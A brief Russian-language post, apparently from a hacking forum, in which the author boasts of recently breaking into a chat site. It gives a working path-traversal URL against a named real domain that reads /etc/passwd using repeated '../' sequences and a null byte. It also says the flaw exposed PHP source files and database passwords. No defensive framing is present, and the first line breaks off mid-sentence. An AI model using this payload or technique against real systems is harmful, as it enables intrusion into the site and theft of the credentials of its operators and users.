Ломал этот чат недавно с

Уязвимость была здесь: http://javagala.ru/info/?info=../../../../../../../../../etc/passwd%00

Можно было также смотреть исходники php-файлов.

Мы например смогли получить пароли от БД